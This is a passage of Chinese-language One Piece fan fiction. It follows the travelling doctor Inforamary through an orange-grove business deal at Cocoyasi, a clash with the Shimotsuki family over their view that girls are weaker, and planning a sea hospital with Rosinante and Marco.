阿龙的背上有有一大块背鳍,毕竟是锯齿鲨鱼人,所以歪着身子挂一会儿就不舒服了。他也没有泰格那么高,不能坐在肩上,毕竟泰格是除了白胡子之外茵弗见过最高的人。 所以他腰部用力把自己甩了一下,准备爬到阿龙怀里,差点把高个子的鱼人青年一起甩到地上。 “喂!干嘛啊,混蛋!” “长那么高个子干嘛啦,抱着我走吧小蓝。” “你懒死了!自己下来走路!没长腿吗?” “我累。” 阿龙不吭声了,随便骂了几句脏话之后把他向上提了一下,让他坐到自己的胳膊上抱着。上次就没背他,这次勉强算补上吧。 “夏莉小小姐没跟着来?” “那丫头过得好着呢,我们刚来也不知道什么情况,带着小八他们最多了。” 可可西亚岛的灰中产业主要是可可和坚果类,还有小部分椰子类的产品,不过村镇最远处的林里也有一片橘子田。 “为什么那里种橘子?” “那边是个退役女海军,家里留下来的橘园,就不想丢了。卖的一般,毕竟有橘子镇。” 阿龙看茵弗玛利探头探脑的样子也知道他好奇,就抬脚带着他往那边走。梅尔贝尔除了打理橘子园也在镇上做工补贴家用,毕竟要养两个女儿,有时候只能把孩子带在身边,小八他们会帮忙看着点,有一个小丫头才一岁多。 四岁的诺琪高背着橘色头发的妹妹娜美在橘子园里散步,小孩子身上的甜香和橘子的香气让她即使胳膊酸也不觉得累,给小娜美讲故事。 今天妈妈休息,不去镇上工作,她要照顾好娜美好让她睡午觉。 远远地看见眼熟的蓝紫色皮肤鱼人大哥,好像还带着人往这边来了,不知道是要做什么。 她犹豫了一下,还是把娜美放了下来牵着,然后走到橘子园边上礼貌地说梅尔贝尔在休息。 茵弗看着这对长相截然不同的姐妹眨眨眼,大概不是亲姐妹?坐着的姿势不太好拿糖,他在阿龙身上扭来扭去才掏出来几块弯腰递给她们,不在意阿龙骂骂咧咧地让他要么滚下去要么坐好。 “小小姐们,您们好,我是茵弗玛利,既然您们母亲在休息我们就——” “诺琪高!娜美!” 茵弗抬头,看到一个有些急慌慌跑过来的青年女性,身上洗得很旧的衬衫还带着褶皱,类似莫西干的帅气发型他很喜欢。 阿龙的小腿被拍了拍,低头看到那个小一点的丫头嘴里含着糖,手里抓着一个刚从旁边的橘子树下扯下的橘子要递给茵弗玛利。 正在和梅尔贝尔相互自我介绍的茵弗被阿龙直接丢在地上,也注意到橘发小女孩的回礼。 “诶?真有礼貌。” 茵弗伸手要去拿的时候对方却一下子把手放到背后,另一只手伸出来摊开手掌。 “还要糖、换橘子、梅尔贝尔橘子好吃。” 梅尔贝尔连忙拉住小女儿,想让她把橘子拿给茵弗玛利。 “娜美!这是客人!你想吃糖妈妈下次会给你买的...” 茵弗眼睛笑得弯弯的,止住了她的动作,蹲下来将口袋里所有的糖都拿出来,满满一把堆在手掌里放到小娜美眼前。 有糖吃的小女孩才不听妈妈的下次,她一下子拿不下这么多糖,又怕对方反悔,大大的眼睛骨碌碌一转,把手里的橘子笨拙地剥开,示意茵弗伸出另一只手。 茵弗看着小丫头给他一瓣橘子就拿走一点糖,给他一瓣再拿走一点,也没想着再摘一个橘子,就稀碎地用一颗橘子换走了茵弗所有的糖果。 和梅尔贝尔说完话的阿龙见到这一幕吓哈哈哈哈地笑,说你这家伙也有被坑钱的一天啊,虽然只是糖果。女海军也知道了这位看起来和自己差不多大的年轻人是灰中的创立者,更加紧张了,怕女儿冒犯到对方,开口想要道歉。 茵弗没在意,往嘴里送了一瓣橘子后被甜而不腻的清爽惊喜到,又递给阿龙一点。 “没关系,女士,我喜欢聪明的孩子,您女儿小小年纪就知道怎么用最小的付出换回最大的利益,这很厉害。” 梅尔贝尔有些意外,只能点点头,然后感谢对方对她家橘子的称赞,请客人到家里做客。虽然没有茶,但是有一些饼干可以招待。 茵弗打量着简陋但是温馨的家,小娜美和姐姐坐在小床上分享着糖果。这确实很难,加工厂都在橘子镇,只是一个小小的橘子园就算想合作也无法供应。那边又是港口城市,毕竟露玖选择了那里,他相信她的判断。 “没关系,女孩子就是要坚强,不会输给任何人的。” 梅尔贝尔露出带着男子气概的笑。 茵弗托着脸颊,视线飘到管教妹妹不要吃太多糖的懂事小丫头身上。小娜美嘟着脸装可爱,也确实很可爱,想让姐姐心软。 漂亮的洋甘菊啊,梅尔贝尔。 “橘子果酱橘子糖...橘子酒也很好喝呢,果酒卖给女士们很受欢迎的,橘子皮也有燥湿化痰、调中开胃,调节肺功能的功效...” 阿龙无所谓地坐在旁边,喝着梅尔贝尔招待客人的清水。 “啊,那我和巴基说让橘子镇准备起来?不过那边主要还是港口,要不然那个红鼻子也不会选那里驻扎,你想生产这么多不可能,没地方给你种。” 茵弗看向梅尔贝尔:“这不是有地方吗?不可能只有这一块土地能种出来这么好吃的橘子吧。这不是连优秀的橘子树栽培师都有了吗?” 阿龙坐直身体,顺着他的目光看向震惊的梅尔贝尔,皱了皱眉头:“橘子镇怎么办。” “您也说了,那里主要还是港口城市,即使现在灰中在那边有加工厂,也没那么多地方给我们种橘子,不如全都改掉。就继续发展深加工和港口吧,离这里也近。” 茵弗抬腿,躲过阿龙踢过来的脚。 “你这王八蛋,每次见你都给我加工作。” “反正科诺米群岛都是村落,大片土地空着可以继续种。橘子那么多好处,只是用来做果酱和糖多浪费啊。您也赚钱。” 梅尔贝尔在恍惚间听二人聊那些她听不太懂的商业规划,只知道自己的人生要改变了,诺琪高和娜美的人生要改变了。迷迷糊糊地点头答应高大的鱼人青年过几天来找她谈合作事项,看着那个金发的人对着小女孩们挥手后爬到鱼人的胳膊上远去。 她用衬衫抹抹脸,拥抱了自己从战场上带回来的两个孩子,再次感谢大海将她们送到她身边。 已经走出她视线外的二人在返回阿龙的基地途中,又买了个特色的风车拿在茵弗手里,随着他朋友的前进在风里旋转。 “...白痴,看到孩子就心软还是没变。” “臭毛病改不掉啦。对了,香克斯和巴基和我说他们去珍兽岛寻宝来着,但是没找到宝藏,都是空箱子,还有个卡在箱子里的怪家伙。” “那边有什么宝藏啊,都是稀奇古怪的动物,陆地还真是奇怪。” “是呗,所以您也可以试试在那边发展发展旅游业,大型散养动物园什么的,交给您我放心。” “麻烦死了你!箱子里的怪家伙也是被参观的一部分吗?” “...嗯要是真的很奇怪的话,没准能成为镇园之宝...” 东海真的和其他几片海域很不一样呢,茵弗将手里的风车举到眼前,咕溜溜地旋转着的,是可以被看见的暖风。 57.不可比肩的伟业 既然灰中在别的岛的产业都逛了两个了,那其他的顺便也逛一圈得了,然后直接回去和露玖汇报,也许可以收获扶桑花夸奖的贴贴,茵弗美滋滋。 巴基无所谓,能和茵弗多呆一阵子他就算不承认,那也是感觉不赖的。在东海和香克斯再联系上后那个臭红毛得意洋洋地炫耀了一把自己是怎么和茵弗玛利在北海呆了好几个月。 那肯定还是不如巴基大爷在东海帮着露玖夫人发展灰中啊。 橘子镇和可可西亚以后要联系更紧密了,又在玻璃珠岛和嘿咻熊猫谈了一笔与鱼人岛服装品牌一起出一款联名设计的生意,阿龙说什么可能珍兽岛也要圈进来,反正以后再谈。 巴基大爷把自己从名叫茵弗玛利的八爪鱼手脚里解放出来,回自己的船舱洗漱化妆。真的是自从心软陪他睡了一次觉这段时间就没用过自己的屋子,早知道弄张大点的床了。 在小的们“巴基大人!”的呼声中帅气甩一下自己的披风,然后跟摩奇说对的,茵弗今天也睡懒觉,不用做他的早饭。 在甲板上锻炼一下,吃过饭后研究一会儿新版巴基弹,检查一下巴基速递没有收到什么要紧的订单,蓝发的青年在船员们崇拜的目光下用帅气的姿势远眺着同样蔚蓝的大海,利基嗷呜嗷呜地说着什么听不懂——哦今天下午就能到他们这一圈的最后一站了。 等到中午把黏在床上的长条猫撕下来吃饭,被抓着练一会儿霸气,大概也就差不多了。也许练完了还能用这个借口喂点零食。 刚见到香克斯的时候,两个人吵架,打架,然后隔着一个位置坐在一起喝酒——这是船上的规矩——避不可避地就聊到茵弗,艾斯,露玖夫人。 “你知道吗,巴基,他哭了,他自己甚至都不知道,我从来没见过他哭,我们两个哭的时候他好像也不哭的。” 香克斯趴在吧台上,脸和他那愚蠢的头发一样红,颠三倒四地念叨。 “他好瘦,比罗格镇还瘦,手指都能摸到骨头。” 他不吃饭,巴基。 茵弗玛利哭了还不让他那么惊讶,毕竟他觉得罗格镇的那场暴雨里肯定不止混了他们两个的眼泪。但是不吃饭?那个忙的要死也要让库洛卡斯给他带饭,有事没事就往嘴里塞东西的家伙不吃饭? 长了个天才医生脑子,却天天琢磨着怎么能偷懒,一边吃一边变健康的家伙不吃东西? “别开玩笑。” 喝醉的人就不要有那么清醒认真的眼睛,混蛋。 “...他为什么不吃饭?刚解散那两年也就罢了他神出鬼没谁知道都在干嘛...” 香克斯摇摇头:“本乡说心情不好的话就容易恶心,茵弗那天说他不喜欢吐的感觉。” 心情不好就容易恶心?那得多心情不好啊,巴基心情不好的时候很多,太多,特别是茵弗没上船之前,好像也没恶心过。 “不过他吃糖。” 巴基哼了一声:“他不是说糖是最无趣的零食?” “啊,因为动脑子太多头痛吧,不吃东西又容易晕。” 香克斯的嘴讨厌地一开一合。 他大概喝了太多的酒,出现幻觉了。红发混蛋描述的那个人也许是报纸上开着漂亮大蜗牛的奇迹游医,但是不可能是杰克逊号上那个喜欢晒太阳打盹的家伙。 “你要是敢骗我...这次一点都不好笑,香克斯。” “他指甲不是总是修得很好吗?因为医生?”香克斯没回答他,只是指指自己的手,“本来就没什么可以咬的,还是变得破破烂烂,会流血。” 他们没聊下去了,那天的对话在巴基愤怒地扑向香克斯,试图用装着半杯朗姆酒的杯子狠狠敲他的头时戛然而止。 只是真的见到他的时候他就信了,尽管如此他也不会去给那个红毛道歉。至少没有香克斯说得那么瘦,他说他在努力吃饭,那很好,巴基大爷现在挥挥手,东海想吃什么都能给他弄来。 今天中午吃鱼粥,巴基觉得自己大概能趁他讲那些没用的废话的时候喂进去大半碗。 这几天吃得都还不错,特别是西布罗村的事情之后。那天是他第一次见到那样的茵弗。白色的,发着光的,好像他在凝视一个另外的世界,虽然只有一瞬间。 香克斯小时候总说什么茵弗是到杰克逊号上的天使,巴基没太在乎过天使到底是什么样的,不过那大概就是吧——即使在下一刻他就变回了人,稀里糊涂地说什么抱歉。 人很好,巴基不知道怎么跟天使打交道,那会让他感觉距离太远。所以他随便茵弗在他的船上和利基撒娇要卡鲁秋;随便他早上不起床睡懒觉;随便他拽着巴基非要他练霸气,呼呼哈嘿地说哥哥教你黑腕之柔;这才让他熟悉,不是香克斯嘴里那个一眨眼就会消散的虚影。 这很好。不用做什么天使圣人的,人就很好。 长条猫他巴基大爷也勉强能忍。 “嘶——痛,巴基!膝盖撞到地上了!” “那你就赶紧站起来!吃饭了!” 巴基抱着茵弗的腋下把他往门口拖。 “赶紧的!下午就到霜月村了!” - 今天比格道普号的午餐很好吃。粉白的鱼肉混在香浓的米粥里,每一口都带着独特的鲜香,茵弗走在岛上的时候胃里仍然暖洋洋的。虽然自己在船上是客人,但是悄悄和巴基说晚上还想吃粥之后,蓝发弟弟立马同意,也没有吐槽他晚上想吃原来杰克逊号上早上才会吃的东西。也不知道怎么这么好说话,明明拉着他一起睡觉还说什么''客人就不要指挥船长'',还得要他用贿赂的。 不过巴基大爷拒绝和他牵手,真是小气,人多怎么了嘛,向整个霜月村展示他们的亲昵不好吗? 茵弗嘟着脸打量周围的瓦片屋顶与木制雕花梁柱。霜月这个独特的名字真的是...勾起一些回忆了啊。那个他们还拜访过的,堪十郎事件牵扯到的杂役家不就是和之国“白舞”的康家大名——霜月康家的姓氏吗? 而且这里的风格也很和之国呢,放在整个东海来说都很独特。如果之前茵弗觉得是巧合,看到这里的建筑和饮食风格就确定这里和和之国有联系了。 在遥远的东海?那个封闭的和之国? 巴基:“啊,好像是吧?我都忘记御田当时带我们拜访谁了。不过这里确实有一个霜月耕四郎,是道场主人。” “诶——巴基,我——” 巴基:“知道了知道了你去吧,米那边的事情本大爷去就行了!” 茵弗才不管他们是在大街上,拉过已经和自己差不多高的巴基亲了一口就跑向远处最“和之国”的建筑。 现在是下午,能听到墙内的小孩子们练功的声音,果然就是那个霜月的道场吧?茵弗让开身子避开一个差点撞上的小男孩,礼貌地敲了敲门。 基本见到道场主人的一刻他就确定对方跟霜月康家的霜月是同族了,和服上交叉双刀的标志就是康家大名的家徽啊,当时那位严肃的先生还给他们讲述了家徽的历史什么的。 “您好,耕四郎阁下?在下游医茵弗玛利。” 耕四郎听到他的用语愣了愣,除了霜月村的大人们,很少听到“阁下”“在下”的称呼了,尤其是外面来的人,而茵弗玛利的名字他当然听说过。 “您好,茵弗玛利阁下,久仰大名,在下的确是霜月耕四郎。” 茵弗直起行礼的身子,绞尽脑汁地回想和之国都是怎么说话的来着?文绉绉的认真感,大概。 “在下曾有幸与光月御田阁下一起去过和之国,拜访''白舞''的大名霜月康家阁下,因而对您的姓氏倍感亲切,特来拜访。” 道场不大,耕四郎是剑道老师,门下还是不少学生,都拿着竹刀在练基础剑术。茵弗很久没有用过的佩刀也是一把武士刀,御田的双刀也都是名刀,所以他也勉强算是知道什么样的刀是烂的,什么样的刀是好的。那个小女孩正在认真保养的白鞘刀就很棒。 “那是小女古依娜和她出生时便为配刀的''和道一文字''。” “您属''铃后''一脉?原来不是''白舞''。” “啊,家父很早就离开和之国了,在下并不清楚其中明细。” “您父亲?” 耕四郎的父亲耕三郎...眉毛再弯一点就和白胡子的胡子形状差不多了。一个严肃的老人,但是没有在意茵弗只是盘腿坐着,他自己的坐姿也很随性。倒是在一旁的耕四郎和他的妻子女儿很端正地跪坐着。 “原来如此...大概与老夫离开时变化甚小。” 茵弗:“毕竟锁国,但霜月康家阁下是颇受敬爱的大名,与光月御田阁下也亲近,在下不清楚御田阁下是否已当了将军。如他的话许会开国?” “光月啊...老夫曾锻造出最好的一把刀''地狱大王''就是为光月家打造,至今仍没有能与之比肩的作品。” 茵弗:“原来您就是''阎魔''的锻造者,虽被称为妖,却不得不说那确实是一把名刀,在御田阁下手中能断山河,柔细水。” 耕三郎露出一点笑:“阁下倒是与老夫想法类似,老夫也认为那是一把''名刀''而不是''妖刀'',以气生气之认真,何来妖?” 茵弗点头,第四次眼神略过他手中的烟斗,再次瞄了一眼那个黑发的小姑娘后,他还是开口道:“耕三郎阁下,您的晚辈仍然年幼,身处烟气之中恐对身体成长有碍,在下为医者对这些还是略有了解。” 白发马尾的老者摆摆手:“无妨,女子本身便不会强大,一点点烟气又有何碍?” ?这是什么话,茵弗下意识拧了一下眉头。 “阁下此言差矣,女子如何不强大?在下游历时,见过不少强女子一己之力成伟业。如接受''女子要比男子弱小''的天命,以在下看来才是真正的懦弱,不成大器。” 除了耕三郎,耕四郎他们也一脸哑然。茵弗皱眉等了一会儿,没人说话,只有那个小女孩好奇地打量他。耕三郎神色莫名,仍然没有熄灭他的烟斗。 “女子能成何伟业?” 他语气里的质疑突然让之前还在温暖的肠胃坠了一下,成何伟业?乙姬、露玖、索拉、鹤、夏洛特·玲玲... 茵弗一个一个地掰着手指,直到十指不足,鼻中发出一声哼笑。 “太多男子不可比肩的伟业。” 耕三郎将未熄灭的烟斗放在方桌上,任由烟气飘散,向前倾身。 “为医者...” 他有些不耐烦地打断了他的话:“如果您想问女医者,是的,在下的一位老师就是这世上最优秀的医者之一,也为女性。” 御田他们不会也是这种思维吧?自己和时夫人相处的时间不算长,交集也不算多,好像没怎么注意过。他们不会也认为日和天生就一定比桃之助差吧?至少出海的御田不会有这种想法吧?鹤中将一个人能洗一百个这种老头。 无聊。霜月。 “以强生强之自我,何来弱?” 茵弗捡起面前的烟斗,在耕四郎他们震惊的目光下将其丢到了方桌上的茶杯里。混着茶水和潮湿烟草的恶心味道顿时开始弥漫。 他站起身,拍拍身上不存在的尘土,礼貌对着主人家鞠了半躬。 “谢谢您们的茶,告辞。” 拉开门离开时,他听到身后有小小的脚步声急匆匆地跟上来,在一声“古依娜!”的呼喊后停下。茵弗偏过头,对不远处僵住的短发小女孩柔和了眼角。 “再见,小阁下,别觉得自己配不上您那把漂亮的刀。” 他握着自己不漂亮的刀,在离开道场后漫无目的地在霜月村乱转,观察街上的人。 其实看不太出来,这才是最让人难过的。 也忘记问巴基他去哪里忙了,自己兴冲冲地跑了,没想到这么快就被一杯烂茶搅坏了心情。来都来了,也不太想就这么回比格道普号,茵弗随便买了串三色丸子,口感很好,只是吃了一个就没什么胃口。还是晚上等着喝粥吧。 他手里拿着剩下两色的丸子,蹲在街边看路上的行人,不太在意他们是否对自己投来异样的眼光。其中男的女的,有什么不一样呢?没有不一样,他们都在努力过自己的生活,谁都别对谁指手画脚。 穿着背心外袍的大叔,穿着长裙的阿姨,戴着眼镜的奶奶。竹与木,砖与瓦,绿色的盆栽和绿色的野草,还有同样绿色的,已经在这段时间从他面前路过三次的小孩儿。 可能走累了吧,看起来比萨博还小点的孩子挠挠脸,走到墙边坐下后捂着肚子环顾四周,最后和茵弗对上视线。 然后视线下移,看向他手里的丸子。 茵弗向他招招手,看着小孩累累地爬起来走到他身边坐下,没有问他丸子的事情,反而开口:“干嘛?要问路吗?” “没,我看您挺馋我的丸子的,让您近距离看看。” 小寸头张牙舞爪:“我没有!你是谁啊!” 茵弗看他脸红的样子笑笑,心情好了不少,果然逗小孩让他快乐。 “游医茵弗玛利,您又是谁?” “罗罗诺亚·索隆。''呦一''是你的姓?好奇怪。” 茵弗把丸子递给他,看他很自然地接过去吃掉,更觉得好玩了。 “''游医'',不是''呦一''。” “那是什么?” “就是到处旅行的医生。” 叫索隆的小男孩哦了一声,拿着手里的竹签到处比划,模仿挥刀的样子。 茵弗:“您在这儿转悠好久了,不回家吗?” 索隆:“我住在道场。” 茵弗:“?您之前不是还在道场门口差点撞到我来着?” 索隆:“有吗?它会地方变的啊。” 当然不会了吧...这孩子是超级大路痴啊。 茵弗笑着起身,活动一下蹲太久有点麻的双腿:“要我带您去吗?” “哦!是个好人啊。” “不过我只能送您到门口附近,不想被里面的霜月看见。” “为什么?老师很好啊。” “因为他们觉得女孩子比不上男孩子,我生气了。” “女孩子为什么比不上男孩子?” “就是说啊。” - “这话要是让怀迪贝大姐听到肯定会砍人的吧yoi。” “就是说啊。” 波比的餐厅里,久违地鸡飞狗跳。 不过茵弗已经习惯了,小孩子们的笑闹声,罗西南迪的摔倒声,巴基的大笑。 不吵。 他慢慢地喝着米粥,给身旁的雷利和刚回来的马尔科讲他这一圈都干嘛了。哦,顺便在恰好的时间腿伸直,把想从桌子底下钻过来逃离愤怒艾斯的萨奇绊一跤。 “哎哟!老师!” “萨奇!抓住你了!谢谢小姨!” 茵弗弯腰对着脸上雀斑被用笔连接起来的小芝麻包笑笑。萨奇去白胡子那玩了一阵子回来之后好像更开朗了。可能是因为曾经有过妹妹的关系,对蕾玖和比他大一些的罗宾都很温和,有保护欲。现在认识艾斯他们几个小孩,反而是那种会耍弟弟玩的哥哥感。 艾斯有一点嗜睡症,大概是遗传罗杰。毕竟就算卡普是他爷爷,那个狗头帽老头的嗜睡症也遗传不到他身上。这已经是这几天的第二次萨奇带着小鬼头们在他睡着时玩“连接雀斑”的游戏了。 雷利又在杯中倒了些酒,询问他什么时候离开东海,大概天天无聊带孩子他也闷了吧。不过茵弗不知道能给他找什么乐趣,弄个老虎机放波比上让他教孩子们赌博吗?希望回到海上能好一些。如果雷利在波比上住得不舒服,那还不如送他回香波地。 “没有,艾斯萨博他们几个都很有天赋,天天教他们也挺有趣。你再去给我弄个好点的钓竿吧。” 茵弗点点头:“我把科依先生留下了,让他给您改造个结实的。” 科依是从杰尔玛那带来的科研人员之一,虽然他们拿手的仍然是基因改造,但是这个戴眼镜的年轻人当初跟着沃尔夫学了不少,燃起了发明器械的热情,总是拿着一堆零件摆弄,最近和基德玩得很好。 大部分的科研人员被茵弗留在东海,让他们试着改良灰中的稻米和糯米的基因,看看能不能解决一些霜月村现在生产存在的一些问题,顺便提升产量。因此还拨了一大笔钱给阿龙,发明创造这类要花多少钱他可太知道了。往多了给就行。 “其实马尔科先生他们既然也回来了,那随时都可以走。” 雷利笑了一声,看他放下勺子又敲敲他的手指,示意他继续吃。 “等了一周了,舍不得巴基?” 茵弗点点头:“嗯,香克斯他们走得急,都没再回黎明岛,有点可惜。” 剩下小半碗的小米粥在他不停的搅动下逐渐失去温度。大家都吃完饭,各自忙各自的事情去了,只剩他还慢悠悠地喝粥。粥是萨奇熬得, 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不过在那之前,先拥抱巴基,用自己的脸把他的妆蹭花吧。 “混蛋!差不多就行了啊!” “好的巴基,记得想哥哥啊。” 他松开手里的人,在闹哄哄的餐厅里拍了下手,吸引大家的注意。 “马尔科先生,小厨子,罗西南迪先生请跟我到图书室。基德、艾斯,萨博去看看你们想带的行李装好没有,我们明天出发。基拉,罗宾带着小路飞和史黛拉在花园,你要是想安静一会儿可以去找。” 雷利看他的样子笑笑,调侃的说一句那我呢? “您?睡觉,喝酒,钓鱼,去游个泳都行。您在家里想干嘛就干嘛。” 茵弗推开了门。 图书室是罗西南迪在波比上最喜欢的房间,尤其是因为他太高了,茵弗特意给他弄了一把大的软椅放在里面之后。 不是什么很漂亮的椅子,但是很舒服,就像整个图书室一样。他其实想过为什么要在这里放各种不同风格的椅子,大的小的高的矮的。甚至壁炉附近还有几个可以在趴着看书时可以垫在胳膊下的软垫。 不过后来他大概就明白了,茵弗喜欢在这里看书,或者工作,也许是希望能有很多家人在一起读书时,都可以选择自己喜欢的方式围绕在他身边吧。 虽然最近的相处让他觉得艾斯基德他们大概不会经常拜访这里就是了。 他拿着一本书坐在自己的椅子上等茵弗和学生们说话。 “——还有活血化瘀。” “很好,我特意没有告诉你给你的食谱都有什么作用,看来你也没忘记钻研。你现在年纪小,能记住就很好,理解原理还有点难,没关系。” “嘻嘻。” “?怎么。” “这次回来老师叫我''你''了。” “啊因为露玖拧我耳朵嘛。” 茵弗用手指刮刮萨奇眼角的伤疤,把桌边的盒子打开推给他。 “自己选一个贴纸吧?我买了蔬菜系列的,胡萝卜和洋葱的都很可爱。” 他转向马尔科:“我给您留的课题结果如何?” 马尔科:“正好在老爹身上练习了yoi,我——” 真的很神奇,罗西南迪将视线收回,茵弗玛利和不死鸟平时完全看不出来是老师和学生的关系,就算提到也是在拌嘴开玩笑的时候。但是真的在学习的时候好像一下就变了,认真严肃。 门被轻轻敲了几下,他起身开门,没有打扰他们。冥王雷利递给他一个薄毯,让他看着茵弗忙完后睡一会觉。 之前在马林福德,甚至是直到到科尔波山之后,他都不知道茵弗的状态并不好,毕竟他看起来那么鲜活。后来认识了巴基,对方跟冥王交谈时提到什么吃饭睡觉的,他才意识到。 ''也许卡普先生担心的不止是我''。 这句被他抛在脑后的话突然如蚂蚁般钻了出来。 他点点头,拿着毯子坐回自己的椅子上,没等多久茵弗就走过来,顺便拿了个高脚凳坐在他旁边。 “渡鸦先生,战国先生是否有催促您尽快反馈情报?” 罗西南迪:“没有,间谍卧底这类的工作好几年都没什么消息汇报都可能是正常的。他知道我跟着你在东海检查灰色中点站。” 茵弗对他的坦诚眯眯眼:“嗯,那就好,您哥哥现在还驻扎在北海和西海,我现在在考虑是把您送过去还是让他来伟大航路和我们汇合。” 罗西南迪:“你接下来要去伟大航路吗?” 茵弗从贴身的口袋里翻出那张花花绿绿的''计划''纸,大概给他说了一下自己的想法,没太注意金发青年因震撼而睁大的眼。 “我觉得总部或许还是在伟大航路比较好,然后未来选取一些岛屿做分部,供包括医生们在内的工作人员休息轮换,交流学习。” 罗西南迪:“那为何要让多弗来?他不是黑曼巴吗?” 茵弗:“【黑曼巴】和【茵弗玛利】合作,自然也会是海上医院的同盟。我所需要的大量人脉,资源,都离不开他。” 海上医院的计划如果是白,那么黑曼巴这条灰色的蛇就是在黑与白之间运作的扯线。地下世界也是世界的一部分,茵弗一直都是这么想的。 罗西南迪点点头:“那样的话,你就做自己的事情吧,等多弗来了我再去。”他稍微思考了一下,“不过也许我可以建议奥比塔拉岛?抛去香波地,它是四海联通的话最合适的中点位置。” 茵弗有些惊喜:“真的吗?那我们就去那里看看。那座岛现在有多少人口,规模如何?统治者是谁?我没有太了解过呢。” 罗西南迪把薄毯递给他:“岛屿面积还不错的,人口规模中等,没有贵族统治,因为位置便利现在是海军用得比较多。不过你可以先睡一会儿,晚点再谈这些。” 罗西南迪放温柔语气之后说话的声音很好听,茵弗很喜欢,虽然有点被当小孩哄的感觉,不过他耳朵很愉悦。于是他从善如流地接过毛毯裹在身上坐到他怀里。 “那我边睡我们边聊。” 罗西南迪有些无奈地任由他在自己身上找舒服的姿势窝着,目光扫过被放在旁边的纸张。 不需要正义...多么神奇。 “那你说吧,医生。” 茵弗:“嗯...我相信您的推荐,所以晚点和雷利先生他们一起开个会,之后您也许可以联系元帅先生?” 罗西南迪一只胳膊搂着毯子里裹的一团,透过牛仔裤好像能感觉到对方冰冷的脚心。他一边伸手用毯子把茵弗的脚包起来一边回答:“好的,是要告诉他你想要奥比塔拉的经营权吗?” 茵弗打了个哈欠:“嗯,您是卧底的''间谍''嘛,可以描述得模糊一点,不用告诉他我的计划,就说我可能要寻求进一步合作什么的。毕竟我也不会独占那么便利的位置的使用权。” 轻笑声由胸腔的震动传到茵弗靠着的脑袋里。真的好久了啊,窝在别人怀里听心跳。有时候想长高因为身边的人都很高,也不想比香克斯和巴基长得矮,但是这种时候就会觉得不长那么高也挺好。 “就是让我养父那边先讨论一下向你提什么要求的意思?” 茵弗:“对的...您真聪明,不愧是渡鸦。不过随心所欲的奇迹游医会接受多少就纯看他的心情了。” 渡鸦先生用手拍拍他的头:“真让人头疼呀。” 怀里的人真的一边聊一边睡,话题断断续续,逐渐就只剩下平稳的呼吸声。罗西南迪坐了一会儿,还是决定把他放到沙发上去,自己再去看一看伟大航路的海图。 不死鸟马尔科坐在不远处的桌椅边学习,萨奇坐在他对面,兴致勃勃地在看一本东海食谱,小厨师服上贴着一个胡萝卜贴纸。 他轻手轻脚地把茵弗放下,直起身子准备离开时踢到茶几上差点摔倒,被马尔科拉住了。 看了一眼确定睡着的人没醒,还好。 他回头想要感谢,对上平时看起来懒懒的不死鸟认真犀利的蓝色眼眸。 “小心点,海军。” “...当然。”他顿了顿,“我是他的朋友。” 马尔科松开了有些用力抓着罗西南迪的手,肩上微微盛腾起青黄色的火焰,犹如竖起的羽毛。 “我也是。” 58.一起旅行 离开东海很简单,但是孩子们在听说颠倒山是可以顺着水流爬的神奇山脉,很想体验。茵弗当然是拒绝了,现在坐在大厅里听周围一圈大大小小的豆丁跟他找理由。男人的浪漫一听就是萨奇教的,完全戳中基德的喜好,炸着头发叉着腰。真的是叽里呱啦的吵得他头痛,罗宾就坐在一边笑呵呵地谁也不帮,怀里的小路飞也阿巴啊啦的拍他的脸,大概是一岁不到的年纪就想翻颠倒山了。 “不可以!波比会受伤的,它是强壮的大蜗牛没错,但是颠倒山的水流很急,如果它失控撞上山石或者别的船,很危险!” 孩子们第一次听他这么严肃地提高声音讲话,都愣住了。茵弗把声音放温和了些:“虽然平时在它背上感觉不出来,但是记住波比是活的,我们从红土大陆上爬过去,也是很难得的体验。” 基拉:“抱歉...茵弗哥。” 茵弗摇摇头,摸了一把他半长的头发,“我知道你们很兴奋,但是以后有机会,或者有自己的冒险的时候,再去翻越颠倒山好吗?”,他指指楼梯的方向:“玩去吧,今天不用去找雷利先生训练,等我们稳定开始攀爬的时候可以到观测台去看。基德,科依先生说你做的小机器人落在他那里了。” 基德本来纠结要不要道歉而拧着的眉头瞬间舒展,拉着基拉就跑:“哦!基拉我还没给你看!我做了一个超帅的机器人!” 他俩跑了之后,艾斯和萨博也凑过来,脸上都带着忐忑的神色。 “对不起,小姨。” “对不起...” 茵弗从散落着玩具的地毯上起身,随便捡起几个丢到茶几旁的筐里,示意他们跟他坐到沙发上。 “没关系,我没有生气。” 两个小孩一左一右地乖乖坐好,又同时把脑袋凑过来看他怀里的小路飞,茵弗看他俩小小的发旋笑了一声。 “你们也很喜欢这孩子吧?是弟弟呢。” 黑色的脑袋点了点:“本来萨博来了,我就不是最小的了,现在妈妈说我们一起当哥哥。” 萨博有点不好意思,他有时候还是不太习惯这种“家人”的感觉。和年龄相近的倒是还好,尤其是艾斯,感觉两个人真的是兄弟一样。但是和大人们还是有些局促,基德还会在自己下意识做一些“贵族举动”的时候笑他,虽然没有恶意,但是总会让他脸红。 “嗯...他很可爱,先生...” 艾斯猛地把头抬起来,差点撞到低头去贴他们脑袋的茵弗。 “喂,萨博!不要叫先生啦!妈妈说家人之间不要那么不亲近。” 萨博脸红红地也把头抬起来,小心地看茵弗一眼。这个救了自己的人,最让他担心自己做不好,让他失望。 茵弗亲了亲很像罗杰的黑发,“说得很好哦艾斯。”又转头贴贴萨博的小鼻子,“不是约好了我们会爱你的吗?不要担心。” 艾斯被夸也脸红红:“哦!是吧...” 萨博:“嗯...嗯。” 太可爱了吧,烤熟的小土豆们。茵弗眼睛弯弯,任由小路飞咬他的手指。饿了吗又?这孩子是真的饭量很大。 “萨博以后就跟着大家叫就好了,不用学我叫先生小姐的,我都也被露玖扭耳朵了。” 萨博伸出小手,想替他把手指从弟弟的手里解放出来:“啊...小、小姨吗?” 所以说就基拉一个人叫哥哥?为什么不学他?而且都这么大的孩子了,知道他是男人了吧。茵弗瞟了一眼坐在对面沙发上书挡在脸上咯咯笑的小博士。 “啊,行呢吧。” 艾斯满意点头:“这样我们就真的像兄弟了啊,不过你训练要加油呢,萨博。” 萨博毕竟之前都是个小贵族,确实目前比不上在丛林里跑了一年,和动物打架的艾斯和基德,基拉更不用说。不过雷利说他们都很有天赋,总之茵弗去看他们训练了一次,比他小时候厉害一百倍了已经,估计长大都不得了。基德对摆弄那些小零件也开始感兴趣,天天没事就跑去科依那里,之前茵弗送他一个金色的螺母,可宝贝了。 倒是这三个人,还有罗宾,没有一个适合学刀的,这点和自己很像。萨奇反而刀练的不错,甚至和比斯塔学了拿双刀,基拉也被他带着开始学双刀了。 